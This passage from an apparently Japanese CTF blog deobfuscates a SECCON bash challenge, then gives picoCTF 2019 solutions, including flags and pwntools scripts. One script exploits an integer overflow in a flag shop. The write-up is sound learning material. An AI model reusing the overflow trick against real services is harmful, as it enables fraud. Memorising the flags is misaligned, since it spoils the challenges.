$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}|${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____)))):$((____=____^____||++____))} -${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}" " -${@:$((____=(____^____||++____)+(____^____||++____)))$((____=____^____||++____)):$((____=____^____||++____))}$((____=____^____||++____)))|${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))-$((____=____^____||++____)))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=____^____||++____)):$((____=____^____||++____))} -${@:$((____=____^____||++____))$(($((____=____^____||++____))-$((____=____^____||++____)))):$((____=____^____||++____))} "${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))$(($((____=____^____||++____))-$((____=____^____||++____))))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))))$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$((____=____^____||++____))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))"&&${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))} "${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))} ${@:$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}!"&&printf "\n\033[?7l%1024s" " "&&echo SECCON{$S1$n$_____};echo -e '\033[?7h';
最後のほうを確認すると、フラグを表示する処理が確認できます。
<難読化された文字列>&&printf "\n\033[?7l%1024s" " "&&echo SECCON{$S1$n$_____};echo -e '\033[?7h';
$S1
、$n
、$_____
に何が格納されているのかが分かれば、フラグが何なのか分かりそうです。
とりあえず、デバッグモードで実行してみます。
bash -x ./Beeeeeeeeeer_5.sh ++ . + __='./Beeeeeeeeeer_5.sh: line 1: .: filename argument required .: usage: . filename [arguments]' + __=' filename [arguments]' ++ . + __='./Beeeeeeeeeer_5.sh: line 1: .: filename argument required .: usage: . filename [arguments]' + __=' filename [arguments]' + set -- z y x w v u t s r q p o n m l k j i h g f e d c b a '`' _ '^' ']' '' '[' Z Y X W V U T S R Q P O N M L K J I H G F E D C B A + echo 'Enter the password' Enter the password + read _____ hoge + : password is bash + grep -q d574d4bb40c84861791a694a999cce69 ++ cut '-d ' -f1 ++ md5sum ++ echo -n hoge + echo ea703e7aa1efda0064eaa507d9e8ab7e + echo -e '\033[?7h'
実行すると、Enter the password
と表示されます。
適当にhoge
と入力してみましたが、フラグ表示処理に遷移しません。
入力値のMD5ハッシュを取って、パスワードが正しいかどうか判定しているようです。
実行結果をよく見てみると、: password is bash
と書かれています。
パスワードにbash
を指定すると、フラグ表示処理に遷移しました。
$ bash -x Beeeeeeeeeer_5.sh ++ . + __='Beeeeeeeeeer_5.sh: line 1: .: filename argument required .: usage: . filename [arguments]' + __=' filename [arguments]' ++ . + __='Beeeeeeeeeer_5.sh: line 1: .: filename argument required .: usage: . filename [arguments]' + __=' filename [arguments]' + set -- z y x w v u t s r q p o n m l k j i h g f e d c b a '`' _ '^' ']' '' '[' Z Y X W V U T S R Q P O N M L K J I H G F E D C B A + echo 'Enter the password' Enter the password + read _____ bash + : password is bash + grep -q d574d4bb40c84861791a694a999cce69 ++ cut '-d ' -f1 ++ md5sum ++ echo -n bash + echo d574d4bb40c84861791a694a999cce69 + echo 'Good Job!' Good Job! + printf '\n\033[?7l%1024s' ' ' ' SECCON{bash} + echo -e '\033[?7h'
$S1
と$n
を指定せずに実行しているので、SECCON{bash}
と表示されています。
過去の実行結果を見直してみると、$S1
はhogefuga
、$n
は3
となっています。
よって、SECCON{hogefuga3bash}
が正しいフラグとなります。
FLAG
SECCON{hogefuga3bash}
picoCTF 2019 Writeup
- picoCTF 2019 について
- picoCTF 2019 Writeup(101問)
- General Skills
- The Factory's Secret - Points: 1
- 2Warm - Points: 50
- Lets Warm Up - Points: 50
- Warmed Up - Points: 50
- Bases - Points: 100
- First Grep - Points: 100
- Resources - Points: 100
- strings it - Points: 100
- what's a net cat? - Points: 100
- Based - Points: 200
- First Grep: Part II - Points: 200
- plumbing - Points: 200
- whats-the-difference - Points: 200
- where-is-the-file - Points: 200
- flag_shop - Points: 300
- mus1c - Points: 300
- 1_wanna_b3_a_r0ck5tar - Points: 350
- Forensics
- Glory of the Garden - Points: 50
- unzip - Points: 50
- So Meta - Points: 150
- What Lies Within - Points: 150
- extensions - Points: 150
- shark on wire 1 - Points: 150
- WhitePages - Points: 250
- c0rrupt - Points: 250
- like1000 - Points: 250
- m00nwalk - Points: 250
- Investigative Reversing 0 - Points: 300
- m00nwalk2 - Points: 300
- shark on wire 2 - Points: 300
- Investigative Reversing 1 - Points: 350
- Investigative Reversing 2 - Points: 350
- WebNet0 - Points: 350
- pastaAAA - Points: 350
- Investigative Reversing 3 - Points: 400
- Investigative Reversing 4 - Points: 400
- B1g_Mac - Points: 500
- Web Exploitation
- Insp3ct0r - Points: 50
- dont-use-client-side - Points: 100
- logon - Points: 100
- where are the robots - Points: 100
- Client-side-again - Points: 200
- Open-to-admins - Points: 200
- picobrowser - Points: 200
- Irish-Name-Repo 1 - Points: 300
- Irish-Name-Repo 2 - Points: 350
- Empire1 - Points: 400
- Irish-Name-Repo 3 - Points: 400
- JaWT Scratchpad - Points: 400
- Java Script Kiddie - Points: 400
- Empire2 - Points: 450
- Java Script Kiddie 2 - Points: 450
- cereal hacker 1 - Points: 450
- Empire3 - Points: 500
- cereal hacker 2 - Points: 500
- Cryptography
- The Numbers - Points: 50
- 13 - Points: 100
- Easy1 - Points: 100
- caesar - Points: 100
- Flags - Points: 200
- Mr-Worldwide - Points: 200
- Tapping - Points: 200
- la cifra de - Points: 200
- rsa-pop-quiz - Points: 200
- miniRSA - Points: 300
- waves over lambda - Points: 300
- b00tl3gRSA2 - Points: 400
- b00tl3gRSA3 - Points: 450
- john_pollard - Points: 500
- Binary Exploitation
- Reverse Engineering
- vault-door-training - Points: 50
- vault-door-1 - Points: 100
- asm1 - Points: 200
- vault-door-3 - Points: 200
- asm2 - Points: 250
- vault-door-4 - Points: 250
- asm3 - Points: 300
- droids0 - Points: 300
- reverse_cipher - Points: 300
- vault-door-5 - Points: 300
- droids2 - Points: 400
- vault-door-6 - Points: 350
- B1ll_Gat35 - Points: 400
- Need For Speed - Points: 400
- Time's Up - Points: 400
- asm4 - Points: 400
- droids2 - Points: 400
- vault-door-7 - Points: 400
- droids3 - Points: 450
- Time's Up, Again! - Points: 450
- vault-door-8 - Points: 450
- Forky - Points: 500
- droids4 - Points: 500
- General Skills
picoCTF 2019 について
picoCTF 2019が開催されました。
2019年9月28日午前2時~2019年10月12日午前2時(2週間)
picoCTFは、中高生向けのCTF大会だそうです。中高生対象ということもあり、難易度低めのCTFになります。 ただし、問題数が異様に多く、100問以上出題されます。 問題を解いていくと、新たな問題がどんどん追加されていくシステムのようです。
難易度が低めのCTFということで、今回は1人で参加しました。 結果は、135/15817位で26201点でした。 今回、101問解きましたが、まだ解けていない問題が10問程度あります。Pwn系があまり解けていないので、まだ未公開となっている問題もありそうです。
picoCTFは、ちゃんと段階を踏みながら徐々に難しい問題に挑戦していけるので、CTFに慣れていない方が参加すると勉強になりそうだなと感じました。 私も、まだPwn系があまり解けないので、他の方のWriteupを見て復習したいと思います。 picoCTFは、競技終了後も1年間サーバが維持されるそうなので、まだ参加されていない方はぜひ解いてみてください。
picoCTF 2019 Writeup(101問)
今回は、問題数が多いので雑に解説をしていきます。
General Skills
The Factory's Secret - Points: 1
There appear to be some mysterious glyphs hidden inside this abandoned factory... I wonder what would happen if you collected them all?
各部屋にQRコードの断片のようなアイテムが散らばっています。それらをすべて集めると、1つのQRコードが表示されました。
QRコードを読み取ると、 password: xmfv53uqkf621gakvh502gxfu1g78glds
と出てきました。
最初の部屋のPCにパスワードを入れると、2人の会話ログのようなものが表示されました。
会話を読んでみると、「zerozerozerozeroはどう?いいね。」と言っている会話が確認できます。 試しに picoCTF{zerozerozerozero} でフラグを投入してみると、正解になりました。
picoCTF{zerozerozerozero}
2Warm - Points: 50
Can you convert the number 42 (base 10) to binary (base 2)?
10進数の42を2進数に変換すると、101010となります。
picoCTF{101010}
Lets Warm Up - Points: 50
If I told you a word started with 0x70 in hexadecimal, what would it start with in ASCII?
0x70をアスキーコードに変換すると、pとなります。
picoCTF{p}
Warmed Up - Points: 50
What is 0x3D (base 16) in decimal (base 10).
0x3Dを10進数に変換すると、61になります。
picoCTF{61}
Bases - Points: 100
What does this bDNhcm5fdGgzX3IwcDM1 mean? I think it has something to do with bases.
Base64デコードすると、フラグが取得できました。
picoCTF{l3arn_th3_r0p35}
First Grep - Points: 100
Can you find the flag in file? This would be really tedious to look through manually, something tells me there is a better way. You can also find the file in /problems/first-grep_6_c2319e8af66fa6bec197edc733dd52dd on the shell server.
ファイルを開いて、picoCTFで検索するとフラグが書いてありました。
picoCTF{grep_is_good_to_find_things_cdb327ab}
Resources - Points: 100
We put together a bunch of resources to help you out on our website! If you go over there, you might even find a flag! https://picoctf.com/resources (link)
https://picoctf.com/resources にアクセスすると、フラグが書かれていました。
picoCTF{r3source_pag3_f1ag}
strings it - Points: 100
Can you find the flag in file without running it? You can also find the file in /problems/strings-it_3_8386a6aa560aecfba03c0c6a550b5c51 on the shell server.
タイトル通りstringsをすると、フラグが確認できました。
$ cd /problems/strings-it_3_8386a6aa560aecfba03c0c6a550b5c51 $ ls strings $ strings ./strings | grep picoCTF picoCTF{5tRIng5_1T_c7fff9e5}
picoCTF{5tRIng5_1T_c7fff9e5}
what's a net cat? - Points: 100
Using netcat (nc) is going to be pretty important. Can you connect to 2019shell1.picoctf.com at port 4158 to get the flag?
netcat で 2019shell1.picoctf.com:4158 に接続すると、フラグが表示されました。
$ nc 2019shell1.picoctf.com 4158 You're on your way to becoming the net cat master picoCTF{nEtCat_Mast3ry_700da9c7}
picoCTF{nEtCat_Mast3ry_700da9c7}
Based - Points: 200
To get truly 1337, you must understand different data encodings, such as hexadecimal or binary. Can you get the flag from this program to prove you are on the way to becoming 1337? Connect with nc 2019shell1.picoctf.com 31615.
netcat で 2019shell1.picoctf.com:31615 に接続する以下の3つの問題が表示されました。
- ある単語の文字を2進数に変換した値
- ある単語の文字を8進数に変換した値
- ある単語の文字を16進数に変換した値
それぞれを変換して、自動で入力させるスクリプトを作成しました。
from pwn import * def convert(enc_word, base): dec_word = "" for chr_bin in enc_word: dec_word += chr(int(chr_bin, base)) return dec_word def solve_base_2(p): p.readuntil("Please give the ") enc_word = p.readuntil(" as").decode("utf-8").split(" ")[:-1] log.info("enc_word: {}".format(enc_word)) dec_word = convert(enc_word, 2) log.info("dec_word: {}".format(dec_word)) p.sendlineafter("Input:", dec_word) def solve_base_8(p): p.readuntil("Please give me the ") enc_word = p.readuntil(" as").decode("utf-8").split(" ")[:-1] log.info("enc_word: {}".format(enc_word)) dec_word = convert(enc_word, 8) log.info("dec_word: {}".format(dec_word)) p.sendlineafter("Input:", dec_word) def solve_base_16(p): p.readuntil("Please give me the ") s = p.readuntil(" as").decode("utf-8").split(" ")[0] enc_word = [s[i: i+2] for i in range(0, len(s), 2)] log.info("enc_word: {}".format(enc_word)) dec_word = convert(enc_word, 16) log.info("dec_word: {}".format(dec_word)) p.sendlineafter("Input:", dec_word) def main(): context(arch="i386", os="linux") p = remote("2019shell1.picoctf.com", 31615) solve_base_2(p) solve_base_8(p) solve_base_16(p) p.interactive() if __name__ == "__main__": main()
実行すると、フラグを取得することができました。
$ python solve.py [+] Opening connection to 2019shell1.picoctf.com on port 31615: Done [*] enc_word: ['01101100', '01101001', '01101101', '01100101'] [*] dec_word: lime [*] enc_word: ['164', '145', '163', '164'] [*] dec_word: test [*] enc_word: ['74', '61', '62', '6c', '65'] [*] dec_word: table [*] Switching to interactive mode You've beaten the challenge Flag: picoCTF{learning_about_converting_values_502ff297}
picoCTF{learning_about_converting_values_502ff297}
First Grep: Part II - Points: 200
Can you find the flag in /problems/first-grep--part-ii_3_b4bf3244c2886de1566a28c1b5a465ae/files on the shell server? Remember to use grep.
指定されたディレクトリに移動すると、大量のディレクトリとファイルが用意されていました。
$ cd /problems/first-grep--part-ii_3_b4bf3244c2886de1566a28c1b5a465ae/files $ ls -la total 52 drwxr-xr-x 13 root root 4096 Sep 28 22:01 . drwxr-xr-x 3 root root 4096 Sep 28 22:01 .. drwxr-xr-x 2 root root 4096 Sep 28 22:01 files0 drwxr-xr-x 2 root root 4096 Sep 28 22:01 files1 drwxr-xr-x 2 root root 4096 Sep 28 22:01 files10 drwxr-xr-x 2 root root 4096 Sep 28 22:01 files2 drwxr-xr-x 2 root root 4096 Sep 28 22:01 files3 drwxr-xr-x 2 root root 4096 Sep 28 22:01 files4 drwxr-xr-x 2 root root 4096 Sep 28 22:01 files5 drwxr-xr-x 2 root root 4096 Sep 28 22:01 files6 drwxr-xr-x 2 root root 4096 Sep 28 22:01 files7 drwxr-xr-x 2 root root 4096 Sep 28 22:01 files8 drwxr-xr-x 2 root root 4096 Sep 28 22:01 files9 $ ls -la files0/ total 232 drwxr-xr-x 2 root root 4096 Sep 28 22:01 . drwxr-xr-x 13 root root 4096 Sep 28 22:01 .. -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file0 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file1 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file10 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file11 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file12 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file13 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file14 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file15 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file16 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file17 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file18 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file19 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file2 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file20 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file21 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file22 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file23 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file24 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file25 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file26 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file27 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file3 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file4 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file5 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file6 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file7 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file8 -rw-rw-r-- 1 hacksports hacksports 7639 Sep 28 21:59 file9
findコマンドでファイルを指定し、grepでpicoCTFという文字列を抽出すると、フラグを取得することができました。
$ find . -name "file*" -type f | xargs grep picoCTF ./files2/file5:picoCTF{grep_r_to_find_this_3675d798}
picoCTF{grep_r_to_find_this_3675d798}
plumbing - Points: 200
Sometimes you need to handle process data outside of a file. Can you find a way to keep the output from this program and search for the flag? Connect to 2019shell1.picoctf.com 63345.
netcat で 2019shell1.picoctf.com:63345 に接続すると、大量の文字が表示されました。 パイプラインで繋いで、grepするとフラグが表示されました。
$ nc 2019shell1.picoctf.com 63345 | grep picoCTF picoCTF{digital_plumb3r_4e7a5813}
picoCTF{digital_plumb3r_4e7a5813}
whats-the-difference - Points: 200
Can you spot the difference? kitters cattos. They are also available at /problems/whats-the-difference_0_00862749a2aeb45993f36cc9cf98a47a on the shell server
以下のようなコマンドでdiffを取ってみると、差分になっている文字列がフラグとなっていました。 1とlの違いが分かりにくいので注意する。
$ hexdump -C kitters.jpg > kitters.txt $ hexdump -C cattos.jpg > cattos.txt $ colordiff kitters.txt cattos.txt | grep -v "\-\-\-"
picoCTF{th3yr3_a5_d1ff3r3nt_4s_bu773r_4nd_j311y_aslkjfdsalkfslkflkjdsfdszmz10548}
where-is-the-file - Points: 200
I've used a super secret mind trick to hide this file. Maybe something lies in /problems/where-is-the-file_3_19c1a7766ac2747c446eb9666a9b4fb4.
指定されたディレクトリに移動すると、隠しファイルが用意されていました。
$ cd /problems/where-is-the-file_3_19c1a7766ac2747c446eb9666a9b4fb4 $ ls -la total 80 drwxr-xr-x 2 root root 4096 Sep 28 22:05 . drwxr-x--x 684 root root 69632 Sep 30 22:25 .. -rw-rw-r-- 1 hacksports hacksports 39 Sep 28 22:05 .cant_see_me $ cat .cant_see_me picoCTF{w3ll_that_d1dnt_w0RK_f28cde66}
picoCTF{w3ll_that_d1dnt_w0RK_f28cde66}
flag_shop - Points: 300
There's a flag shop selling stuff, can you buy a flag? Source. Connect with nc 2019shell1.picoctf.com 25858.
netcatで2019shell1.picoctf.com:25858 に接続すると、ショップが出てきます。 フラグを買うには、100000円必要なようです。 何か買うときに整数オーバフローさせると、自分の所持金を増やすことができます。
以下のスクリプトを実行すると、フラグが取得できます。
from pwn import * def main(): p = remote("2019shell1.picoctf.com", 25858) balance = 1100 while balance < 100000: p.sendlineafter("Enter a menu selection", str(2)) p.sendlineafter("2. 1337 Flag", str(1)) p.sendlineafter("These knockoff Flags cost 900 each, enter desired quantity", str(0x7fffffff)) p.readuntil("Your current balance after transaction: ") read_data = p.readuntil("\n").decode("utf-8").strip() balance = int(read_data) log.info("balance: {}".format(balance)) p.sendlineafter("Enter a menu selection", str(2)) p.sendlineafter("2. 1337 Flag", str(2)) p.sendlineafter("Enter 1 to buy one", str(1)) p.interactive() if __name__ == "__main__": main()
$ python solve.py [+] Opening connection to 2019shell1.picoctf.com on port 25858: Done [*] balance: 2000 [*] balance: 2900 省略 [*] balance: 99200 [*] balance: 100100 [*] Switching to interactive mode YOUR FLAG IS: picoCTF{m0n3y_bag5_325fcd2e} Welcome to the flag exchange We sell flags 1. Check Account Balance 2. Buy Flags 3. Exit Enter a menu selection [*] Got EOF while reading in interactive
picoCTF{m0n3y_bag5_325fcd2e}
mus1c - Points: 300
I wrote you a song. Put it in the picoCTF{} flag format
色々調べていると、Rockstar言語と呼ばれるプログラミング言語があるらしいということを知りました。 今回は、KaiserRubyというツールを使って実行させました。
$ gem install kaiser-ruby pry $ kaiser-ruby execute lyrics.txt 114 114 114 111 99 107 110 114 110 48 49 49 51 114
上記の実行結果の数値を10進数として文字に変換すると、rrrocknrn0113r となりました。
picoCTF{rrrocknrn0113r}
1_wanna_b3_a_r0ck5tar - Points: 350
I wrote you another song. Put the flag in the picoCTF{} flag format
mus1cという問題と同様にRockstar言語と呼ばれるプログラミング言語で書かれているようです。 今回も、KaiserRubyというツールを使いました。
実行はできなかったので、rubyへの変換を行いました。
$ kaiser-ruby transpile lyrics.txt @rocknroll = true @silence = false @a_guitar = 19 @tommy = 44 @music = 160 print '> ' __input = $stdin.gets.chomp @the_music = Float(__input) rescue __input if @the_music == @a_guitar puts ("Keep on rocking!").to_s print '> ' __input = $stdin.gets.chomp @the_rhythm = Float(__input) rescue __input if @the_rhythm - @music == nil @tommy = 66 puts (@tommy).to_s @music = 79 @jamming = 78 puts (@music).to_s puts (@jamming).to_s @tommy = 74 puts (@tommy).to_s @tommy = 79 puts (@tommy).to_s @rock = 86 puts (@rock).to_s @tommy = 73 puts (@tommy).to_s break puts ("Bring on the rock!").to_s else break end end
putsで1文字ずつ出力している処理があります。
66 79 78 74 79 86 73
を文字に変換すると、BONJOVI
になります。
picoCTF{BONJOVI}
Forensics
Glory of the Garden - Points: 50
This garden contains more than it seems. You can also find the file in /problems/glory-of-the-garden_0_25ece79ae00914856938a4b19d0e31af on the shell server.
画像をダウンロードし、stringsを使って文字列を抽出すると、フラグが出てきました。
picoCTF{more_than_m33ts_the_3y3f089EdF0}
unzip - Points: 50
Can you unzip this file and get the flag?
zipファイルを展開すると、フラグの画像が表示されました。
picoCTF{unz1pp1ng_1s_3a5y}
So Meta - Points: 150
Find the flag in this picture. You can also find the file in /problems/so-meta_1_ab9d99603935344b81d7f07973e70155.
画像をダウンロードし、stringsを使って文字列を抽出すると、フラグが出てきました。
picoCTF{s0_m3ta_368a0341}
What Lies Within - Points: 150
Theres something in the building. Can you retrieve the flag?
zstegというツールを使うと、フラグが取得できました。
$ zsteg -a buildings.png b1,r,lsb,xy .. text: "^5>R5YZrG" b1,rgb,lsb,xy .. text: "picoCTF{h1d1ng_1n_th3_b1t5}" b1,abgr,msb,xy .. file: PGP\011Secret Sub-key - b2,b,lsb,xy .. text: "XuH}p#8Iy=" b3,abgr,msb,xy .. text: "t@Wp-_tH_v\r"zsteg -a 省略
picoCTF{h1d1ng_1n_th3_b1t5}
extensions - Points: 150
This is a really weird text file TXT? Can you find the flag?
fileコマンドで形式を確認すると、PNG形式になっていました。 拡張子をpngに変換して、画像として表示するとフラグが確認できました。
$ file flag.txt flag.txt: PNG image data, 1697 x 608, 8-bit/color RGB, non-interlaced $ mv flag.txt flag.png
picoCTF{now_you_know_about_extensions}
shark on wire 1 - Points: 150
We found this packet capture. Recover the flag. You can also find the file in /problems/shark-on-wire-1_0_13d709ec13952807e477ba1b5404e620.
以下の手順でフラグが確認できました。
- 統計→対話→IPv4タブを選択する。
- 一番上の「10.0.0.2⇔10.0.0.12」を右クリックする。
- フィルタとして適用→選択済み→A⇔Bを選択する。
- 適当なパケットを右クリックする。
- 追跡→UDPストリームを選択する。
picoCTF{StaT31355_636f6e6e}
WhitePages - Points: 250
I stopped using YellowPages and moved onto WhitePages... but the page they gave me is all blank!
バイナリエディタで見てみると、\xe2\x80\x83
と \x20
の2つのパターンが見えます。
\x20
は、アスキーコードの半角スペースを表しています。\xe2\x80\x83
についてググってみると、「Unicode Character 'EM SPACE' (U+2003)」だと分かりました。
\x20
を 1 、\xe2\x80\x83
を 0 に変換して、文字列変換すると、メッセージが出てきました。
picoCTF SEE PUBLIC RECORDS & BACKGROUND REPORT 5000 Forbes Ave, Pittsburgh, PA 15213 picoCTF{not_all_spaces_are_created_equal_178d720252af1af29369e154eca23a95}
picoCTF{not_all_spaces_are_created_equal_178d720252af1af29369e154eca23a95}
c0rrupt - Points: 250
We found this file. Recover the flag. You can also find the file in /problems/c0rrupt_0_1fcad1344c25a122a00721e4af86de13.
バイナリエディタで開いて、以下の項目を修正します。
00000000 89 65 4e 34 0d 0a b0 aa 00 00 00 0d 43 22 44 52 |.eN4..°ª....C"DR| ↓ 00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
